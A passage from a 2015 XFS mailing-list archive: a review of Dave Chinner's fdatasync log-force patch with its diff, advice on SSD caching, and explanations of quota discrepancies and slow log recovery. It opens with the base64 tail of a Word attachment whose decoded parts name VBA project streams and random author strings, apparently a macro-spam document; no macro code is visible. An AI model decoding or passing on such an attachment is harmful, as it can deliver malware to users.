AP8DAwBXcUhuWUo0OTcPMAAJgAAA/wMDAEtSaGhhNDh2NczHMAALgAAA/wMDAFlwVEV0dlRy aVR6FwUwAAuAAAD/AwMAT1VLVEhJS2NZYkl3kDAAB4AAAP8DAwBMTEhQeXN5REgwAAmAAAD/ AwMAWVpwVjF6dFVxBNcwAAyAAAD/AwMARU9CMGVMWkxLUmxXi6kwAAL//wEBVAAAAP////// /////////////////////////////////////////yACAgD//yIC/////yUCAAAIAP////// /ygCAwD//w4CAQD//xACAAD//yoCBAD//wgADgAAAAEAEgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUABSAE8ASgBFAEMA VAB3AG0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQA AgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAAAA KQAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAEgACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAABAAAAByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABAP7/AwoAAP////8GCQIAAAAAAMAAAAAAAABGIAAAAE1pY3Jvc29m dCBXb3JkIDk3LTIwMDMgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVu dC44APQ5snEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAGAgIAAAAAAAAAAAAAAAAA AAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAHABAAARAAAAAQAAAJAAAAACAAAAmAAAAAMA AACkAAAABAAAAGABAAAFAAAAsAAAAAYAAAC8AAAABwAAAMgAAAAIAAAATAEAAAkAAADcAAAA EgAAAOgAAAAKAAAACAEAAAwAAAAUAQAADQAAACABAAAOAAAALAEAAA8AAAA0AQAAEAAAADwB AAATAAAARAEAAAIAAADjBAAAHgAAAAQAAAAAAAAAHgAAAAQAAAAAAAAAHgAAAAQAAAAAAAAA HgAAAAQAAAAAAAAAHgAAAAwAAABOb3JtYWwuZG90bQAeAAAABAAAADMAAAAeAAAAGAAAAE1p Y3Jvc29mdCBPZmZpY2UgV29yZAAAAEAAAAAARsMjAAAAAEAAAAAAPmBIGw3RAUAAAAAAApHT Ig3RAQMAAAABAAAAAwAAAMQdAAADAAAAsKkAAAMAAAAAAAAAHgAAAAsAAABlSWJrR3pZaWlo AAAeAAAABwAAADdWcFVVaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA --------------251521632497581063187612-- From bfoster@redhat.com Thu Oct 22 12:36:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7768E7F37 for ; Thu, 22 Oct 2015 12:36:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 59CF4304032 for ; Thu, 22 Oct 2015 10:36:23 -0700 (PDT) X-ASG-Debug-ID: 1445535381-04cbb0660d1f7a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id bPCehWt5EBOHIj9Q (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 22 Oct 2015 10:36:21 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id EBE31C0AF7AE; Thu, 22 Oct 2015 17:36:20 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9MHaKb5028550; Thu, 22 Oct 2015 13:36:20 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 17A7F1201AB; Thu, 22 Oct 2015 13:36:19 -0400 (EDT) Date: Thu, 22 Oct 2015 13:36:19 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, sage@redhat.com Subject: Re: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync Message-ID: <20151022173618.GC13661@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync References: <1445396343-4361-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445396343-4361-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445535381 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Oct 21, 2015 at 01:59:03PM +1100, Dave Chinner wrote: > From: Dave Chinner > > xfs: timestamp updates cause excessive fdatasync log traffic > > Sage Weil reported that a ceph test workload was writing to the > log on every fdatasync during an overwrite workload. Event tracing > showed that the only metadata modification being made was the > timestamp updates during the write(2) syscall, but fdatasync(2) > is supposed to ignore them. The key observation was that the > transactions in the log all looked like this: > > INODE: #regs: 4 ino: 0x8b flags: 0x45 dsize: 32 > > And contained a flags field of 0x45 or 0x85, and had data and > attribute forks following the inode core. This means that the > timestamp updates were triggering dirty relogging of previously > logged parts of the inode that hadn't yet been flushed back to > disk. > > There are two parts to this problem. The first is that XFS relogs > dirty regions in subsequnet transactions, so it carries around the subsequent > fields that have been dirtied since the last time the inode was > written back to disk, not since the last time the inode was forced > into the log. > > The second part is that on v5 filesystems, the inode change count > update during inode dirtying also sets the XFS_ILOG_CORE flag, so > on v5 filesystems this makes a timestamp update dirty the entire > inode. > > As a result when fdatasync is run, it looks at the dirty fields in > the inode, and sees more than just the timestamp flag, even though > the only metadata change since the last fdatasync was just the > timestamps. Hence we force the log on every subsequent fdatasync > even though it is not needed. > > To fix this, add a new field to the inode log item that tracks > changes since the last time fsync/fdatasync forced the log to flush > the changes to the journal. This flag is updated when we dirty the > inode, but we do it before updating the change count so it does not > carry the "core dirty" flag from timestamp updates. The fields are > zeroed when the inode is marked clean (due to writeback/freeing) or > when an fsync/datasync forces the log. Hence if we only dirty the > timestamps on the inode between fsync/fdatasync calls, the fdatasync > will not trigger another log force. > > Over 100 runs of the test program: > > Ext4 baseline: > runtime: 1.63s +/- 0.24s > avg lat: 1.59ms +/- 0.24ms > iops: ~2000 > > XFS, vanilla kernel: > runtime: 2.45s +/- 0.18s > avg lat: 2.39ms +/- 0.18ms > log forces: ~400/s > iops: ~1000 > > XFS, patched kernel: > runtime: 1.49s +/- 0.26s > avg lat: 1.46ms +/- 0.25ms > log forces: ~30/s > iops: ~1500 > > Reported-by: Sage Weil > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_file.c | 4 +++- > fs/xfs/xfs_inode.c | 2 ++ > fs/xfs/xfs_inode_item.c | 1 + > fs/xfs/xfs_inode_item.h | 1 + > fs/xfs/xfs_trans_inode.c | 9 +++++++++ > 5 files changed, 16 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index 0045b0a..cb4204d 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -248,8 +248,10 @@ xfs_file_fsync( > xfs_ilock(ip, XFS_ILOCK_SHARED); > if (xfs_ipincount(ip)) { > if (!datasync || > - (ip->i_itemp->ili_fields & ~XFS_ILOG_TIMESTAMP)) > + (ip->i_itemp->ili_fsync_fields & ~XFS_ILOG_TIMESTAMP)) { > lsn = ip->i_itemp->ili_last_lsn; > + ip->i_itemp->ili_fsync_fields = 0; > + } Ok, so we check what's been logged since the last fsync that forced the log. If anything other than the timestamp has been logged, we force the log and clear the fields. Seems like a reasonable optimization to me. One question... is it safe to clear the ili_fsync fields here if we have parallel fsync()/fdatasync() calls coming in? This is under the shared ilock, so assume that one fsync() comes in and finds non-timestamp changes to flush. It grabs the lsn, clears the flags and calls the log force. If an fdatasync() comes in before the log force completes, shouldn't it wait? Also, is it me or are we sending an unconditional flush in the hunk following the log force call in xfs_file_fsync() (even if we've skipped the log force)? Brian > } > xfs_iunlock(ip, XFS_ILOCK_SHARED); > > diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index 4c52e3f..144baab 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -2379,6 +2379,7 @@ retry: > > iip->ili_last_fields = iip->ili_fields; > iip->ili_fields = 0; > + iip->ili_fsync_fields = 0; > iip->ili_logged = 1; > xfs_trans_ail_copy_lsn(mp->m_ail, &iip->ili_flush_lsn, > &iip->ili_item.li_lsn); > @@ -3574,6 +3575,7 @@ xfs_iflush_int( > */ > iip->ili_last_fields = iip->ili_fields; > iip->ili_fields = 0; > + iip->ili_fsync_fields = 0; > iip->ili_logged = 1; > > xfs_trans_ail_copy_lsn(mp->m_ail, &iip->ili_flush_lsn, > diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c > index 62bd80f..d14b12b 100644 > --- a/fs/xfs/xfs_inode_item.c > +++ b/fs/xfs/xfs_inode_item.c > @@ -719,6 +719,7 @@ xfs_iflush_abort( > * attempted. > */ > iip->ili_fields = 0; > + iip->ili_fsync_fields = 0; > } > /* > * Release the inode's flush lock since we're done with it. > diff --git a/fs/xfs/xfs_inode_item.h b/fs/xfs/xfs_inode_item.h > index 488d812..4c7722e 100644 > --- a/fs/xfs/xfs_inode_item.h > +++ b/fs/xfs/xfs_inode_item.h > @@ -34,6 +34,7 @@ typedef struct xfs_inode_log_item { > unsigned short ili_logged; /* flushed logged data */ > unsigned int ili_last_fields; /* fields when flushed */ > unsigned int ili_fields; /* fields to be logged */ > + unsigned int ili_fsync_fields; /* logged since last fsync */ > } xfs_inode_log_item_t; > > static inline int xfs_inode_clean(xfs_inode_t *ip) > diff --git a/fs/xfs/xfs_trans_inode.c b/fs/xfs/xfs_trans_inode.c > index 17280cd..b97f1df 100644 > --- a/fs/xfs/xfs_trans_inode.c > +++ b/fs/xfs/xfs_trans_inode.c > @@ -108,6 +108,15 @@ xfs_trans_log_inode( > ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > /* > + * Record the specific change for fdatasync optimisation. This > + * allows fdatasync to skip log forces for inodes that are only > + * timestamp dirty. We do this before the change count so that > + * the core being logged in this case does not impact on fdatasync > + * behaviour. > + */ > + ip->i_itemp->ili_fsync_fields |= flags; > + > + /* > * First time we log the inode in a transaction, bump the inode change > * counter if it is configured for this to occur. We don't use > * inode_inc_version() because there is no need for extra locking around > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From krautus@kr916.org Thu Oct 22 13:23:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.9 required=5.0 tests=MIME_BASE64_TEXT,TVD_FROM_1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 38B317F37 for ; Thu, 22 Oct 2015 13:23:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2B19C8F8033 for ; Thu, 22 Oct 2015 11:23:28 -0700 (PDT) X-ASG-Debug-ID: 1445538204-04cb6c7b84218d0001-NocioJ Received: from posta3.euchiamail.it (posta3.euchiamail.it [46.30.241.112]) by cuda.sgi.com with ESMTP id 64EFPfRYTYeFVA4H (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 22 Oct 2015 11:23:25 -0700 (PDT) X-Barracuda-Envelope-From: krautus@kr916.org X-Barracuda-Apparent-Source-IP: 46.30.241.112 Received: from localhost (localhost [127.0.0.1]) by posta3.euchiamail.it (Postfix) with ESMTP id 41CA1234F2A for ; Thu, 22 Oct 2015 20:23:24 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at posta3.euchiamail.it Received: from posta3.euchiamail.it ([127.0.0.1]) by localhost (sufferone.euchiamail.it [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id HoZyfPkU9Dn1 for ; Thu, 22 Oct 2015 20:23:22 +0200 (CEST) Received: from linux (2-227-160-98.ip186.fastwebnet.it [2.227.160.98]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by posta3.euchiamail.it (Postfix) with ESMTPSA id 4F8F122598E for ; Thu, 22 Oct 2015 20:23:21 +0200 (CEST) Date: Thu, 22 Oct 2015 20:23:24 +0200 From: "krautus@kr916.org" To: xfs@oss.sgi.com Subject: hdd + ssd Message-ID: <20151022202324.5f00807f@linux> X-ASG-Orig-Subj: hdd + ssd MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: base64 X-Barracuda-Connect: posta3.euchiamail.it[46.30.241.112] X-Barracuda-Start-Time: 1445538205 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_BASE64_TEXT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23724 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.52 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding SGVsbG8gSSdtIHRyeWluZyB0byB1bmRlcnN0YW5kIHdoeSBhbmQgaG93IHRvIGFkZCBvbmUgb3Ig bW9yZSBTU0QgKGFzIGEgY2FjaGUgZHJpdmUgLyBrZWVwaW5nIHhmcyBsb2cpDQp0byBhIHRyYWRp dGlvbmFsIHNwaW5uaW5nIHhmcyBzdG9yYWdlIHZvbHVtZS4NCkkgbWVhbjogd2hpY2ggZGF0YSB3 aWxsIGdvIHRvIHRoZSBzc2QgPyBJbm9kZXMgYW5kIGRlbnRyaWVzIHdpbGwgZ28gdG8gdGhlIHNz ZCA/DQpXaWxsIHRoZSBfcmVhZF8gcGVyZm9ybWFuY2UgaW5jcmVhc2UgPw0KDQpJbiBnZW5lcmFs IEknbSBsb29raW5nIHRvIGluY3JlYXNlIChjYWNoZSkgdGhlIHJlYWRpbmcgcGVyZm9ybWFuY2Ug b2YgZm9sZGVycyB3aXRoIGEgbG90IG9mIHNtYWxsIGZpbGVzIChlbWFpbHMpLA0KZm9yIGVtYWls IHNlcnZlcnMuDQoNCkZlZWwgZnJlZSB0byBsZXQgbWUgcnRmbSA6KQ0KSSdkIGdsYWRseSBzdHVk eSB0aGUgZG9jdW1lbnRhdGlvbiAvIGFydGljbGVzIC8gYmVuY2htYXJrcyBidXQgbXkgZ29vZ2xl LWZ1IGlzbid0IGluIGJlc3Qgc2hhcGUuDQoNClRoYW5rIHlvdSwNCk1pa2UNCg== From sandeen@sandeen.net Thu Oct 22 13:27:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 449907F37 for ; Thu, 22 Oct 2015 13:27:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CA141AC004 for ; Thu, 22 Oct 2015 11:27:11 -0700 (PDT) X-ASG-Debug-ID: 1445538423-04cb6c7b8421a30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id QRlSLRBVPSKZrWko for ; Thu, 22 Oct 2015 11:27:05 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 81A7B602D370 for ; Thu, 22 Oct 2015 13:27:03 -0500 (CDT) Subject: Re: hdd + ssd To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: hdd + ssd References: <20151022202324.5f00807f@linux> From: Eric Sandeen Message-ID: <56292A76.8090600@sandeen.net> Date: Thu, 22 Oct 2015 13:27:02 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151022202324.5f00807f@linux> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1445538425 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23724 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/22/15 1:23 PM, krautus@kr916.org wrote: > Hello I'm trying to understand why and how to add one or more SSD (as a cache drive / keeping xfs log) > to a traditional spinning xfs storage volume. > I mean: which data will go to the ssd ? Inodes and dentries will go to the ssd ? > Will the _read_ performance increase ? You might want to look into something like dm-cache https://en.wikipedia.org/wiki/Dm-cache (TBH, I've not used it before, so grains of salt apply for your usecase). Putting the log on an ssd is not likely to be the solution you want; it certainly won't speed up reads. -Eric > In general I'm looking to increase (cache) the reading performance of folders with a lot of small files (emails), > for email servers. > > Feel free to let me rtfm :) > I'd gladly study the documentation / articles / benchmarks but my google-fu isn't in best shape. > > Thank you, > Mike > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From david@fromorbit.com Fri Oct 23 01:55:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E767A7F37 for ; Fri, 23 Oct 2015 01:55:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D6657304039 for ; Thu, 22 Oct 2015 23:55:42 -0700 (PDT) X-ASG-Debug-ID: 1445583339-04cbb0660d2f440001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id St6BCoVZj2E1oiC8 for ; Thu, 22 Oct 2015 23:55:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DvBwDZ2ClWPJv4LHleKAGDDYFDglyDfqJeAQEBAQIGiySLJIYXBAICgUNNAQEBAQEBBwEBAQFBP4QzAQEEOhwjEAgDGAklDwUlAwcaE4gvxU0BAQEBAQEEAQEBAQEBHRmGF4VFgSODageDGoEUBZYrjRaDUItcjQKEeio0hkMBAQE Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Oct 2015 17:25:38 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZpWGH-0003L9-CO; Fri, 23 Oct 2015 17:55:37 +1100 Date: Fri, 23 Oct 2015 17:55:37 +1100 From: Dave Chinner To: YeYin Cc: Eric Sandeen , xfs Subject: Re: du result is smaller than xfs_quota report Message-ID: <20151023065537.GE19199@dastard> X-ASG-Orig-Subj: Re: du result is smaller than xfs_quota report References: <0952A0E9-F360-46CE-BE7A-1B8473700F08@sandeen.net> <20151021071331.GD19199@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445583339 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23745 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 21, 2015 at 04:09:20PM +0800, YeYin wrote: > Hi, Dave, > Thank you very much. I got some results: > # xfs_db -xr /dev/sda4 > xfs_db> convert agno 1 agino 78272 ino > 0x800131c0 (2147561920) > xfs_db> inode 2147561920 > xfs_db> p > core.magic = 0x494e > core.mode = 0100600 > core.version = 2 > core.format = 2 (extents) > core.nlinkv2 = 0 .... > However, I want to ask how this situation to happen? Either O_TMPFILE files that are still open, or files that have been unlinked but still have an open file descriptor referencing them. They won't be unlinked until the last reference goes away. > # tail -f /data/test.data & > [1] 27598 > # unlink /data/test.data > > > # xfs_db -xr -c 'inode 29409295' -c p /dev/sda4 > core.magic = 0x494e > core.mode = 0100644 > core.version = 2 > core.format = 2 (extents) > core.nlinkv2 = 1 Inode hasn't been written back to disk yet. That happens asynchronously, usually based on time, sometimes sooner due to log space demands, sometimes longer due to repeated modifications. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Oct 23 02:05:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D0FAF7F37 for ; Fri, 23 Oct 2015 02:05:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A511B30406A for ; Fri, 23 Oct 2015 00:05:40 -0700 (PDT) X-ASG-Debug-ID: 1445583933-04bdf0330a319d0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 7KI2rJmOaHdsTzW4 for ; Fri, 23 Oct 2015 00:05:34 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DwBwA12ylWPJv4LHleKAGDDYFDglyDfqJeAQEBAQIGiySLJIYXBAICgUNNAQEBAQEBBwEBAQFBP4QyAQEBAwEjDwEjIwULCAMYAgIFIQICDwUlAwcaE4goB7JhknABAQEBAQUBAQEBHxmBCYUOhUWFDQeCaTGBFAWWK40WgWCHY5JrgnEDARyBaSo0hkMBAQE Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Oct 2015 17:35:33 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZpWPs-0003MN-6P; Fri, 23 Oct 2015 18:05:32 +1100 Date: Fri, 23 Oct 2015 18:05:32 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs Subject: Re: very long log recovery at mount Message-ID: <20151023070532.GF19199@dastard> X-ASG-Orig-Subj: Re: very long log recovery at mount References: <201510211127.52794.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201510211127.52794.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445583933 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23745 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 21, 2015 at 11:27:52AM +0200, Arkadiusz MiÅ›kiewicz wrote: > > Hi. > > I got such situation, fresh boot, 4.1.10 kernel, init scripts start mounting > filesystems. One fs wasn't very lucky: > > [ 15.979538] XFS (md3): Mounting V4 Filesystem > [ 16.256316] XFS (md3): Ending clean mount > [ 28.343346] XFS (md4): Mounting V4 Filesystem > [ 28.629918] XFS (md4): Ending clean mount > [ 28.662125] XFS (md5): Mounting V4 Filesystem > [ 28.980142] XFS (md5): Ending clean mount > [ 29.049421] XFS (md6): Mounting V4 Filesystem > [ 29.447725] XFS (md6): Starting recovery (logdev: internal) > [ 4517.327332] XFS (md6): Ending recovery (logdev: internal) > > It took over 1h to mount md6 filesystem. > > Questions: > - is it possible to log how much data is needed to be recovered > from log? Yes. > Some data that would give a hint on how big this is (and thus > rough estimate on how long it will take). Not sure if that's known > at time when this message is being printed. It's not known, then, and can't be known until recovery has sparsed the log and read all the objects from disk it needs to recover. > - now such long mount time is almost insane, so I wonder why could > be the reason. Is the process multithreaded, single threaded? cpus > were idle What kernel? We now have readahead which minimises the IO latency of pulling objects into the kernel for recovery, but if you are recovering a couple of million individual inode changes (e.g. from a 'chproj -R /path/with/millions/of/files') then it take a long tiem to read in all the inodes and write them all back out. A single inode in the log lik ethis only consumes about 200 bytes of log space, so there can easily be 5000 inodes to recover per megabyte of log space you have. And if you have a 2GB log, then that could contain 10 million inode core changes that need to be 